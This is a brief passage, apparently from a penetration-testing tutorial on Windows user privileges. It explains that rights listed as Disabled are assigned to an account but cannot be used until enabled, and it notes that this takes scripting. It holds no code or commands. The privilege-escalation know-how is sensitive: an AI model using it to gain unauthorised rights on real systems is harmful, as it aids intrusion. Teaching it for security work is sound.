Some rights are only available to administrative users and can only be listed/leveraged when running an elevated cmd or PowerShell session

User Privileges

Enable privileges

When a privilege is listed for our account in the Disabled state, it means that our account has the specific privilege assigned. Still, it cannot be used in an access token to perform the associated actions until it is enabled. Windows does not provide a built-in command or PowerShell cmdlet to enable privileges, so we need some scripting to help us out.
